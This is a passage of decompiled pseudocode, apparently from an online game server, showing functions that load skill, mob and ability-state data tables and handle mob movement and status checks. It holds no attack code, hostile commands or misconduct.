[bp-ECh]@2 int v20; // [sp-10h] [bp-E8h]@2 int v21; // [sp-Ch] [bp-E4h]@2 int v22; // [sp-8h] [bp-E0h]@2 int v23; // [sp-4h] [bp-DCh]@2 int k; // [sp+10h] [bp-C8h]@1 int v25; // [sp+14h] [bp-C4h]@21 int v26; // [sp+18h] [bp-C0h]@21 int v27; // [sp+1Ch] [bp-BCh]@21 int v28; // [sp+20h] [bp-B8h]@21 int v29; // [sp+24h] [bp-B4h]@21 __int64 Dest; // [sp+28h] [bp-B0h]@6 __int64 v31; // [sp+30h] [bp-A8h]@6 int v32; // [sp+38h] [bp-A0h]@6 __int64 v33; // [sp+3Ch] [bp-9Ch]@10 __int64 v34; // [sp+44h] [bp-94h]@10 int v35; // [sp+4Ch] [bp-8Ch]@10 int v36; // [sp+50h] [bp-88h]@15 int v37; // [sp+54h] [bp-84h]@15 int v38; // [sp+58h] [bp-80h]@15 int v39; // [sp+5Ch] [bp-7Ch]@15 int v40; // [sp+60h] [bp-78h]@15 MiscDataTable *thisa; // [sp+64h] [bp-74h]@1 ORToken *v42; // [sp+68h] [bp-70h]@2 int v43; // [sp+70h] [bp-68h]@15 int v44; // [sp+74h] [bp-64h]@15 int v45; // [sp+78h] [bp-60h]@15 int v46; // [sp+7Ch] [bp-5Ch]@15 ORToken _; // [sp+80h] [bp-58h]@6 char buffer[64]; // [sp+94h] [bp-44h]@14 thisa = this; for ( k = 0; ; ++k ) { v23 = k; v42 = &v18; v22 = 0; v21 = 0; v20 = 0; v19 = 0; *(_DWORD *)&v18.ort_Name[0] = 0; strncpy(v18.ort_Name, "AbStateReset", 0x14u); v2 = OptionReader::or_SelectFromOrder(miscdata, v18, v23); v3 = v2; if ( !v2 ) break; v4 = *(_BYTE *)v2; if ( *(_BYTE *)v3 != *((_BYTE *)v3 + 78) ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateReset : Checksum error", v4); ShineExit("MiscDataTable::mdt_AbStateReset"); } v5 = MiscDataTable::mdt_AbStateBufferAlloc(thisa, (char *)v3 + 1); v6 = (v5->mdas_ResetCondition._bf0 ^ *((_BYTE *)v3 + 34)) & 1 ^ v5->mdas_ResetCondition._bf0; v5->mdas_ResetCondition._bf0 = v6; v7 = v6 ^ (v6 ^ 2 * *((_BYTE *)v3 + 35)) & 2; v5->mdas_ResetCondition._bf0 = v7; v8 = v7 ^ (v7 ^ 4 * *((_BYTE *)v3 + 36)) & 4; v5->mdas_ResetCondition._bf0 = v8; v5->mdas_ResetCondition._bf0 = v8 ^ (v8 ^ 8 * *((_BYTE *)v3 + 37)) & 8; v9 = *(_DWORD *)((char *)v3 + 38); v10 = *(_DWORD *)((char *)v3 + 46); *(_DWORD *)&_.ort_Name[4] = *(_DWORD *)((char *)v3 + 42); *(_QWORD *)&_.ort_Name[8] = __PAIR__(*(_DWORD *)((char *)v3 + 50), v10); *(_DWORD *)&_.ort_Name[16] = *(_DWORD *)((char *)v3 + 54); v32 = 0; v31 = 0i64; Dest = 0i64; strncpy((char *)&Dest, (const char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); if ( __PAIR__(*(unsigned int *)&_.ort_Name[4], v9) != Dest || *(_QWORD *)&_.ort_Name[8] != v31 || *(_DWORD *)&_.ort_Name[16] != v32 ) { v35 = 0; v34 = 0i64; v33 = 0i64; strncpy((char *)&v33, "LeftHand", 0x14u); if ( __PAIR__(*(unsigned int *)&_.ort_Name[4], v9) != v33 || *(_QWORD *)&_.ort_Name[8] != v34 || *(_DWORD *)&_.ort_Name[16] != v35 ) { v11 = ORToken::ort_GetString((ORToken *)((char *)v3 + 38), buffer); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateReset : EquipWhere", v11); } else { *(_DWORD *)&v5->mdas_ResetEquipment._bf0 = 1; } } else { *(_DWORD *)&v5->mdas_ResetEquipment._bf0 = 0; } v12 = (int)((char *)v3 + 58); v13 = *(_DWORD *)v12; v14 = *(_DWORD *)(v12 + 8); v43 = *(_DWORD *)(v12 + 4); v15 = *(_DWORD *)(v12 + 12); v44 = v14; v16 = *(_DWORD *)(v12 + 16); v45 = v15; v46 = v16; v40 = 0; v39 = 0; v38 = 0; v37 = 0; v36 = 0; strncpy((char *)&v36, (const char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); if ( v13 != v36 || v43 != v37 || v44 != v38 || v45 != v39 || v46 != v40 ) { v29 = 0; v28 = 0; v27 = 0; v26 = 0; v25 = 0; strncpy((char *)&v25, "Shield", 0x14u); if ( v13 != v25 || v43 != v26 || v44 != v27 || v45 != v28 || v46 != v29 ) { v17 = ORToken::ort_GetString((ORToken *)v12, buffer); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateReset : EquipClass", v17); } else { *(_DWORD *)&v5->gap5[3] = 1; } } else { *(_DWORD *)&v5->gap5[3] = 0; } if ( *(_DWORD *)&v5->mdas_ResetEquipment._bf0 && !*(_DWORD *)&v5->gap5[3] ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateReset : Invalis match", 0); ShineExit("MiscDataTable::mdt_Load"); } } } //----- (0047AEB0) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_SkillBreedMob(MiscDataTable *this, OptionReader *miscdata) { void *v2; // eax@2 void *v3; // ebx@2 unsigned __int8 v4; // al@3 unsigned int v5; // eax@6 signed __int16 v6; // di@6 unsigned int v7; // eax@11 unsigned int v8; // ebp@11 char v9; // cl@11 unsigned int v10; // edi@13 unsigned int v11; // edi@17 unsigned int v12; // ecx@17 char *v13; // eax@33 int v14; // edi@35 int v15; // edx@35 int v16; // ecx@35 int v17; // edx@35 char *v18; // eax@47 int v19; // edi@49 int v20; // ebp@49 int v21; // edx@49 int v22; // eax@49 unsigned int v23; // ebp@54 char *v24; // eax@73 int v25; // edi@81 int v26; // edx@81 int v27; // ecx@81 int v28; // edx@81 char *v29; // eax@111 int v30; // edx@113 int v31; // edi@113 int v32; // ebx@113 int v33; // eax@113 int v34; // ecx@113 int v35; // edx@113 ORToken v36; // [sp-18h] [bp-2DCh]@2 int v37; // [sp-14h] [bp-2D8h]@2 int v38; // [sp-10h] [bp-2D4h]@2 int v39; // [sp-Ch] [bp-2D0h]@2 int v40; // [sp-8h] [bp-2CCh]@2 int v41; // [sp-4h] [bp-2C8h]@2 unsigned int explosion; // [sp+10h] [bp-2B4h]@2 int k; // [sp+14h] [bp-2B0h]@1 int v44; // [sp+18h] [bp-2ACh]@49 int v45; // [sp+1Ch] [bp-2A8h]@49 int v46; // [sp+20h] [bp-2A4h]@49 int v47; // [sp+24h] [bp-2A0h]@49 int v48; // [sp+28h] [bp-29Ch]@49 int v49; // [sp+2Ch] [bp-298h]@61 int v50; // [sp+30h] [bp-294h]@61 int v51; // [sp+34h] [bp-290h]@61 int v52; // [sp+38h] [bp-28Ch]@61 int v53; // [sp+3Ch] [bp-288h]@61 int v54; // [sp+40h] [bp-284h]@41 int v55; // [sp+44h] [bp-280h]@41 int v56; // [sp+48h] [bp-27Ch]@41 int v57; // [sp+4Ch] [bp-278h]@41 int v58; // [sp+50h] [bp-274h]@41 int v59; // [sp+54h] [bp-270h]@113 int v60; // [sp+58h] [bp-26Ch]@113 int v61; // [sp+5Ch] [bp-268h]@113 int v62; // [sp+60h] [bp-264h]@113 int v63; // [sp+64h] [bp-260h]@113 __int64 Dest; // [sp+68h] [bp-25Ch]@17 __int64 v65; // [sp+70h] [bp-254h]@17 int v66; // [sp+78h] [bp-24Ch]@17 int v67; // [sp+7Ch] [bp-248h]@55 int v68; // [sp+80h] [bp-244h]@55 int v69; // [sp+84h] [bp-240h]@55 int v70; // [sp+88h] [bp-23Ch]@55 int v71; // [sp+8Ch] [bp-238h]@55 __int64 v72; // [sp+90h] [bp-234h]@25 __int64 v73; // [sp+98h] [bp-22Ch]@25 int v74; // [sp+A0h] [bp-224h]@25 int v75; // [sp+A4h] [bp-220h]@67 int v76; // [sp+A8h] [bp-21Ch]@67 int v77; // [sp+ACh] [bp-218h]@67 int v78; // [sp+B0h] [bp-214h]@67 int v79; // [sp+B4h] [bp-210h]@67 int v80; // [sp+B8h] [bp-20Ch]@35 int v81; // [sp+BCh] [bp-208h]@35 int v82; // [sp+C0h] [bp-204h]@35 int v83; // [sp+C4h] [bp-200h]@35 int v84; // [sp+C8h] [bp-1FCh]@35 int v85; // [sp+CCh] [bp-1F8h]@81 int v86; // [sp+D0h] [bp-1F4h]@81 int v87; // [sp+D4h] [bp-1F0h]@81 int v88; // [sp+D8h] [bp-1ECh]@81 int v89; // [sp+DCh] [bp-1E8h]@81 __int64 v90; // [sp+E0h] [bp-1E4h]@21 __int64 v91; // [sp+E8h] [bp-1DCh]@21 int v92; // [sp+F0h] [bp-1D4h]@21 int v93; // [sp+F4h] [bp-1D0h]@87 int v94; // [sp+F8h] [bp-1CCh]@87 int v95; // [sp+FCh] [bp-1C8h]@87 int v96; // [sp+100h] [bp-1C4h]@87 int v97; // [sp+104h] [bp-1C0h]@87 int v98; // [sp+108h] [bp-1BCh]@105 int v99; // [sp+10Ch] [bp-1B8h]@105 int v100; // [sp+110h] [bp-1B4h]@105 int v101; // [sp+114h] [bp-1B0h]@105 int v102; // [sp+118h] [bp-1ACh]@105 int v103; // [sp+11Ch] [bp-1A8h]@93 int v104; // [sp+120h] [bp-1A4h]@93 int v105; // [sp+124h] [bp-1A0h]@93 int v106; // [sp+128h] [bp-19Ch]@93 int v107; // [sp+12Ch] [bp-198h]@93 __int64 v108; // [sp+130h] [bp-194h]@29 __int64 v109; // [sp+138h] [bp-18Ch]@29 int v110; // [sp+140h] [bp-184h]@29 int v111; // [sp+144h] [bp-180h]@99 int v112; // [sp+148h] [bp-17Ch]@99 int v113; // [sp+14Ch] [bp-178h]@99 int v114; // [sp+150h] [bp-174h]@99 int v115; // [sp+154h] [bp-170h]@99 void *base; // [sp+158h] [bp-16Ch]@1 int v117; // [sp+160h] [bp-164h]@81 int v118; // [sp+164h] [bp-160h]@81 int v119; // [sp+168h] [bp-15Ch]@81 int v120; // [sp+16Ch] [bp-158h]@81 ORToken _; // [sp+170h] [bp-154h]@17 int v122; // [sp+18Ch] [bp-138h]@49 int v123; // [sp+190h] [bp-134h]@49 int v124; // [sp+194h] [bp-130h]@49 int v125; // [sp+19Ch] [bp-128h]@35 int v126; // [sp+1A0h] [bp-124h]@35 int v127; // [sp+1A4h] [bp-120h]@35 int v128; // [sp+1A8h] [bp-11Ch]@35 int v129; // [sp+1B4h] [bp-110h]@113 int v130; // [sp+1B8h] [bp-10Ch]@113 int v131; // [sp+1BCh] [bp-108h]@113 char buf; // [sp+1C0h] [bp-104h]@47 char v133; // [sp+200h] [bp-C4h]@73 char buffer[64]; // [sp+240h] [bp-84h]@33 char v135; // [sp+280h] [bp-44h]@111 base = this; for ( k = 0; ; ++k ) { v41 = k; explosion = (unsigned int)&v36; v40 = 0; v39 = 0; v38 = 0; v37 = 0; *(_DWORD *)&v36.ort_Name[0] = 0; strncpy(v36.ort_Name, "SkillBreedMob", 0x14u); v2 = OptionReader::or_SelectFromOrder(miscdata, v36, v41); v3 = v2; if ( !v2 ) break; v4 = *(_BYTE *)v2; if ( *(_BYTE *)v3 != *((_BYTE *)v3 + 246) ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBreedMob : SkillBreedMob : Checksum", v4); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } v5 = BTree::operator__(&mobdatabox.mdb_btree, (const char *)v3 + 34); v6 = -1; if ( v5 != -1 ) v6 = v5; if ( v6 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MiscDataTable::mdt_SkillBreedMob : Imvalid mob name", (const char *)v3 + 34); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } MiscDataTable::mdt_SkillBufferAlloc(base, (const char *)v3 + 1); v8 = v7; *(_WORD *)(v7 + 2) = v6; *(_BYTE *)(v7 + 4) = *((_BYTE *)v3 + 67); v9 = *((_BYTE *)v3 + 112); explosion = v7; if ( v9 == 45 ) { *(_DWORD *)(v7 + 16) = 412; } else { v10 = BTree::operator__(&unk_615CF4, (const char *)v3 + 112); if ( v10 == -1 ) { v41 = *(_DWORD *)(v8 + 16); AssertClass::ac_AssertFail( &shineassert, "MiscDataTable::mdt_SkillBreedMob : Invalid abstate", (const char *)v41); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } *(_DWORD *)(v8 + 16) = v10; } v11 = *((_DWORD *)v3 + 17); v12 = *((_DWORD *)v3 + 19); *(_DWORD *)&_.ort_Name[4] = *((_DWORD *)v3 + 18); *(_QWORD *)&_.ort_Name[8] = __PAIR__(*((_DWORD *)v3 + 20), v12); *(_DWORD *)&_.ort_Name[16] = *((_DWORD *)v3 + 21); v66 = 0; v65 = 0i64; Dest = 0i64; strncpy((char *)&Dest, "Root", 0x14u); if ( __PAIR__(*(unsigned int *)&_.ort_Name[4], v11) != Dest || *(_QWORD *)&_.ort_Name[8] != v65 || *(_DWORD *)&_.ort_Name[16] != v66 ) { v92 = 0; v91 = 0i64; v90 = 0i64; strncpy((char *)&v90, "Chase", 0x14u); if ( __PAIR__(*(unsigned int *)&_.ort_Name[4], v11) != v90 || *(_QWORD *)&_.ort_Name[8] != v91 || *(_DWORD *)&_.ort_Name[16] != v92 ) { v74 = 0; v73 = 0i64; v72 = 0i64; strncpy((char *)&v72, "Rampage", 0x14u); if ( __PAIR__(*(unsigned int *)&_.ort_Name[4], v11) != v72 || *(_QWORD *)&_.ort_Name[8] != v73 || *(_DWORD *)&_.ort_Name[16] != v74 ) { v110 = 0; v109 = 0i64; v108 = 0i64; strncpy((char *)&v108, "Roam", 0x14u); if ( __PAIR__(*(unsigned int *)&_.ort_Name[4], v11) != v108 || *(_QWORD *)&_.ort_Name[8] != v109 || *(_DWORD *)&_.ort_Name[16] != v110 ) { v13 = ORToken::ort_GetString((ORToken *)((char *)v3 + 68), buffer); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBreedMob : AI type wrong", v13); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } *(_DWORD *)(explosion + 8) = 3; } else { *(_DWORD *)(explosion + 8) = 2; } } else { *(_DWORD *)(explosion + 8) = 1; } } else { *(_DWORD *)(explosion + 8) = 0; } v14 = *((_DWORD *)v3 + 22); v15 = *((_DWORD *)v3 + 24); v125 = *((_DWORD *)v3 + 23); v16 = *((_DWORD *)v3 + 25); v126 = v15; v17 = *((_DWORD *)v3 + 26); v127 = v16; v128 = v17; v84 = 0; v83 = 0; v82 = 0; v81 = 0; v80 = 0; strncpy((char *)&v80, "Caster", 0x14u); if ( v14 != v80 || v125 != v81 || v126 != v82 || v127 != v83 || v128 != v84 ) { v58 = 0; v57 = 0; v56 = 0; v55 = 0; v54 = 0; strncpy((char *)&v54, "Target", 0x14u); if ( v14 != v54 || v125 != v55 || v126 != v56 || v127 != v57 || v128 != v58 ) { v18 = ORToken::ort_GetString((ORToken *)((char *)v3 + 88), &buf); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBreedMob : RegenLoc wrong", v18); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } *(_DWORD *)(explosion + 12) = 1; } else { *(_DWORD *)(explosion + 12) = 0; } v19 = *(_DWORD *)((char *)v3 + 145); v20 = *(_DWORD *)((char *)v3 + 149); v21 = *(_DWORD *)((char *)v3 + 157); v22 = *(_DWORD *)((char *)v3 + 161); v122 = *(_DWORD *)((char *)v3 + 153); v123 = v21; v124 = v22; v48 = 0; v47 = 0; v46 = 0; v45 = 0; v44 = 0; strncpy((char *)&v44, (const char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); if ( v19 != v44 || v20 != v45 || v122 != v46 || v123 != v47 || v124 != v48 ) { v71 = 0; v70 = 0; v69 = 0; v68 = 0; v67 = 0; strncpy((char *)&v67, "Enemy", 0x14u); if ( v19 != v67 || v20 != v68 || v122 != v69 || v123 != v70 || v124 != v71 ) { v53 = 0; v52 = 0; v51 = 0; v50 = 0; v49 = 0; strncpy((char *)&v49, "Target", 0x14u); if ( v19 != v49 || v20 != v50 || v122 != v51 || v123 != v52 || v124 != v53 ) { v79 = 0; v78 = 0; v77 = 0; v76 = 0; v75 = 0; strncpy((char *)&v75, "Always", 0x14u); if ( v19 != v75 || v20 != v76 || v122 != v77 || v123 != v78 || v124 != v79 ) { v24 = ORToken::ort_GetString((ORToken *)((char *)v3 + 145), &v133); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBreedMob : Triggerobject", v24); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } v23 = explosion; *(_DWORD *)(explosion + 92) = 3; } else { v23 = explosion; *(_DWORD *)(explosion + 92) = 2; } } else { v23 = explosion; *(_DWORD *)(explosion + 92) = 1; } } else { v23 = explosion; *(_DWORD *)(explosion + 92) = 0; } *(_DWORD *)(v23 + 96) = *(_DWORD *)((char *)v3 + 165); *(_DWORD *)(v23 + 84) = *((_DWORD *)v3 + 27); *(_WORD *)(v23 + 108) = *(_WORD *)((char *)v3 + 171); *(_DWORD *)(v23 + 112) = *(_WORD *)((char *)v3 + 169); if ( *((_BYTE *)v3 + 173) == 45 ) { *(_WORD *)(v23 + 100) = -1; } else { explosion = BTree::operator__(&skillnametree, (const char *)v3 + 173); if ( explosion == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MiscDataTable::mdt_SkillBreedMob : ExplosionSkill wrong", (const char *)v3 + 173); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } *(_WORD *)(v23 + 100) = explosion; } v25 = *(_DWORD *)((char *)v3 + 206); v26 = *(_DWORD *)((char *)v3 + 214); v117 = *(_DWORD *)((char *)v3 + 210); v27 = *(_DWORD *)((char *)v3 + 218); v118 = v26; v28 = *(_DWORD *)((char *)v3 + 222); v119 = v27; v120 = v28; v89 = 0; v88 = 0; v87 = 0; v86 = 0; v85 = 0; strncpy((char *)&v85, (const char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); if ( v25 != v85 || v117 != v86 || v118 != v87 || v119 != v88 || v120 != v89 ) { v97 = 0; v96 = 0; v95 = 0; v94 = 0; v93 = 0; strncpy((char *)&v93, "MyLoc", 0x14u); if ( v25 != v93 || v117 != v94 || v118 != v95 || v119 != v96 || v120 != v97 ) { v107 = 0; v106 = 0; v105 = 0; v104 = 0; v103 = 0; strncpy((char *)&v103, "MyObj", 0x14u); if ( v25 != v103 || v117 != v104 || v118 != v105 || v119 != v106 || v120 != v107 ) { v115 = 0; v114 = 0; v113 = 0; v112 = 0; v111 = 0; strncpy((char *)&v111, "TargetLoc", 0x14u); if ( v25 != v111 || v117 != v112 || v118 != v113 || v119 != v114 || v120 != v115 ) { v102 = 0; v101 = 0; v100 = 0; v99 = 0; v98 = 0; strncpy((char *)&v98, "TargetObj", 0x14u); if ( v25 != v98 || v117 != v99 || v118 != v100 || v119 != v101 || v120 != v102 ) { v29 = ORToken::ort_GetString((ORToken *)((char *)v3 + 145), &v135); AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBreedMob : Triggerobject", v29); ShineExit("MiscDataTable::mdt_SkillBreedMob"); } *(_DWORD *)(v23 + 104) = 4; } else { *(_DWORD *)(v23 + 104) = 3; } } else { *(_DWORD *)(v23 + 104) = 2; } } else { *(_DWORD *)(v23 + 104) = 1; } } else { *(_DWORD *)(v23 + 104) = 0; } v30 = (int)((char *)v3 + 226); v31 = *(_DWORD *)((char *)v3 + 226); v32 = *(_DWORD *)((char *)v3 + 230); v33 = *(_DWORD *)(v30 + 8); v34 = *(_DWORD *)(v30 + 12); v35 = *(_DWORD *)(v30 + 16); v129 = v33; v130 = v34; v131 = v35; v63 = 0; v62 = 0; v61 = 0; v60 = 0; v59 = 0; strncpy((char *)&v59, "Dead", 0x14u); if ( v31 == v59 && v32 == v60 && v129 == v61 && v130 == v62 && v131 == v63 ) *(_BYTE *)(v23 + 88) |= 1u; } } //----- (0047BA90) -------------------------------------------------------- #error "47BA90: undefined or illegal type '#325' (funcsize=112)" //----- (0047BC10) -------------------------------------------------------- void __usercall ShineObjectClass::ShineMobileObject::smo_WarpForward(int a1, int a2, int sklidx) { int v3; // esi@1 int v4; // eax@1 int v5; // ecx@1 int *v6; // edx@1 int v7; // ST00_4@1 int v8; // edx@1 SHINE_XY_TYPE towhere; // [sp+4h] [bp-14h]@1 int v10; // [sp+14h] [bp-4h]@1 v3 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_WarpForward"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_WarpForward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)(v3 + 78); v5 = *(_DWORD *)(sklidx + 172); towhere.x = *(_DWORD *)v4; v6 = *(int **)(v3 + 82); towhere.y = *(_DWORD *)(v4 + 4); v7 = *(_BYTE *)v6; v10 = 0; DirectDistanceTable::ddt_GetFoward(&ddt, v7, v5, &towhere); ShineObjectClass::ShineMobileObject::smo_WarpTo(v3, v8, a2, (int)&towhere, sklidx); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_WarpForward"); } //----- (0047BCF0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_smo_AbnormalStateAttribute(void *this, int condition) { void *v2; // esi@1 int v3; // edi@1 unsigned __int16 v4; // bp@1 unsigned __int16 v5; // dx@2 int v6; // eax@3 int v7; // esi@3 unsigned __int16 v8; // bx@3 char v9; // cl@7 int v10; // eax@7 int v11; // ecx@8 int v12; // eax@12 char v13; // cl@12 int v14; // eax@12 int v15; // ecx@13 int v16; // eax@17 char v17; // cl@17 int v18; // eax@17 int v19; // ecx@18 int v20; // eax@22 char v21; // cl@22 int v22; // eax@22 int v23; // ecx@23 bool v24; // zf@25 char v25; // cl@27 int v26; // eax@27 int v27; // ecx@28 char v28; // cl@32 int v29; // eax@32 int v30; // ecx@33 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_AbnormalStateAttribute"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_smo_AbnormalStateAttribute"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1304))(v2); v4 = *(_WORD *)(*(_DWORD *)(v3 + 3488) + 12 * *(_WORD *)(v3 + 3494) + 4); while ( 1 ) { v5 = *(_WORD *)(v3 + 3484); if ( v4 >= v5 ) break; v6 = *(_DWORD *)(v3 + 3488); v7 = v4; v8 = v4; v4 = *(_WORD *)(v6 + 12 * v4 + 4); if ( condition == 1 ) { if ( v8 < v5 && (v28 = *(_BYTE *)(v6 + 12 * v7 + 8), v29 = v6 + 12 * v7, v28) ) v30 = *(_DWORD *)v29; else v30 = 0; v24 = *(_DWORD *)(*(_DWORD *)(*((_DWORD *)&unk_611F6C + 3 * *(_DWORD *)(v30 + 4)) + 36 * *(_BYTE *)(v30 + 16) + 8) + 38) == 21; goto LABEL_36; } if ( condition == 2 ) { if ( v8 < v5 && (v25 = *(_BYTE *)(v6 + 12 * v7 + 8), v26 = v6 + 12 * v7, v25) ) v27 = *(_DWORD *)v26; else v27 = 0; v24 = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_611F6C + 3 * *(_DWORD *)(v27 + 4)) + 36 * *(_BYTE *)(v27 + 16) + 8), SAA_SPEEDDOWNRATE) == 1; goto LABEL_36; } if ( condition == 3 ) { if ( v8 < v5 && (v9 = *(_BYTE *)(v6 + 12 * v7 + 8), v10 = v6 + 12 * v7, v9) ) v11 = *(_DWORD *)v10; else v11 = 0; if ( AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_611F6C + 3 * *(_DWORD *)(v11 + 4)) + 36 * *(_BYTE *)(v11 + 16) + 8), SAA_ACMINUS) == 1 || (v8 >= *(_WORD *)(v3 + 3484) || (v12 = *(_DWORD *)(v3 + 3488), v13 = *(_BYTE *)(v12 + 12 * v7 + 8), v14 = v12 + 12 * v7, !v13) ? (v15 = 0) : (v15 = *(_DWORD *)v14), AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_611F6C + 3 * *(_DWORD *)(v15 + 4)) + 36 * *(_BYTE *)(v15 + 16) + 8), SAA_ACDOWNRATE) == 1 || (v8 >= *(_WORD *)(v3 + 3484) || (v16 = *(_DWORD *)(v3 + 3488), v17 = *(_BYTE *)(v16 + 12 * v7 + 8), v18 = v16 + 12 * v7, !v17) ? (v19 = 0) : (v19 = *(_DWORD *)v18), AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_611F6C + 3 * *(_DWORD *)(v19 + 4)) + 36 * *(_BYTE *)(v19 + 16) + 8), SAA_MRMINUS) == 1)) ) { LABEL_37: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_AbnormalStateAttribute"); return 1; } if ( v8 < *(_WORD *)(v3 + 3484) && (v20 = *(_DWORD *)(v3 + 3488), v21 = *(_BYTE *)(v20 + 12 * v7 + 8), v22 = v20 + 12 * v7, v21) ) v23 = *(_DWORD *)v22; else v23 = 0; v24 = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_611F6C + 3 * *(_DWORD *)(v23 + 4)) + 36 * *(_BYTE *)(v23 + 16) + 8), SAA_MRDOWNRATE) == 1; LABEL_36: if ( v24 ) goto LABEL_37; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_AbnormalStateAttribute"); return 0; } //----- (0047BFB0) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_Load(MiscDataTable *this) { MiscDataTable *v1; // esi@1 char v2; // bl@1 int v3; // eax@1 OptionReader miscdata; // [sp+0h] [bp-10864h]@1 unsigned int v5; // [sp+10854h] [bp-10h]@4 int v6; // [sp+10860h] [bp-4h]@1 v1 = this; OptionReader::OptionReader(&miscdata); v6 = 0; v2 = OptionReader::or_Read(&miscdata, "../9Data/Shine/World/MiscDataTable.txt"); v3 = OptionReader::or_ErrorLine(&miscdata); if ( !v2 ) { AssertClass::ac_AssertFail(&shineassert, "Error in read MiscDataTable.txt", v3); ShineExit("MiscDataTable::mdt_Load"); } v1->mdt_AbStateDataSize = 0; v1->mdt_SkillDataSize = 0; v1->mdt_VarifAbstateSize = 0; MiscDataTable::mdt_SkillBreedMob(v1, &miscdata); MiscDataTable::mdt_AbStateReset(v1, &miscdata); MiscDataTable::mdt_Neutralization(v1, &miscdata); MiscDataTable::mdt_Polymorph(v1, &miscdata); MiscDataTable::mdt_StateCondition(v1, &miscdata); v6 = -1; OptionReader::_OptionReader(&miscdata); __security_check_cookie(v5); } //----- (0047C0C0) -------------------------------------------------------- MobDataBox::MobDataBoxIndex *__thiscall MobDataBox::operator__(MobDataBox *this, unsigned __int16 mobid) { MobDataBox::MobDataBoxIndex *v2; // edi@2 unsigned __int16 v3; // cx@4 if ( mobid > this->mdb_maxmobhandle || (v2 = &this->mdb_index[mobid]) == 0 || !v2->data ) return 0; v3 = v2->data->ID; if ( v3 != mobid ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::operator [] :Invalid mob index", mobid, v3); return 0; } return v2; } //----- (0047C120) -------------------------------------------------------- void __thiscall MobAttackSequence::AttackElement4Mob::ae4m_NextSkill(MobAttackSequence::AttackElement4Mob *this, int *attacksequenceindex) { int v2; // edx@1 v2 = *attacksequenceindex + 1; *attacksequenceindex = v2; if ( v2 >= this->ae4m_SequenceLength ) *attacksequenceindex = this->ae4m_StartIndex; } //----- (0047C140) -------------------------------------------------------- void __thiscall MobAttackSequence::SkillChange::sc_Store(MobAttackSequence::SkillChange *this, char *from, char *to, unsigned int value) { MobAttackSequence::SkillChange *v4; // esi@1 signed __int16 v5; // bx@2 unsigned int v6; // eax@3 unsigned int v7; // eax@8 v4 = this; if ( *from == 45 ) { v5 = -1; } else { v6 = BTree::operator__(&skillnametree, from); v5 = v6; if ( v6 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::SkillChange::sc_Store : Null skill", from); ShineExit("MagicContainer::mas_Load"); } } v4->sc_From = v5; if ( *to == 45 ) { v4->sc_To = -1; v4->sc_Value = value; } else { v7 = BTree::operator__(&skillnametree, to); if ( v7 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::SkillChange::sc_Store : Null skill", to); ShineExit("MagicContainer::mas_Load"); } v4->sc_To = v7; v4->sc_Value = value; } } //----- 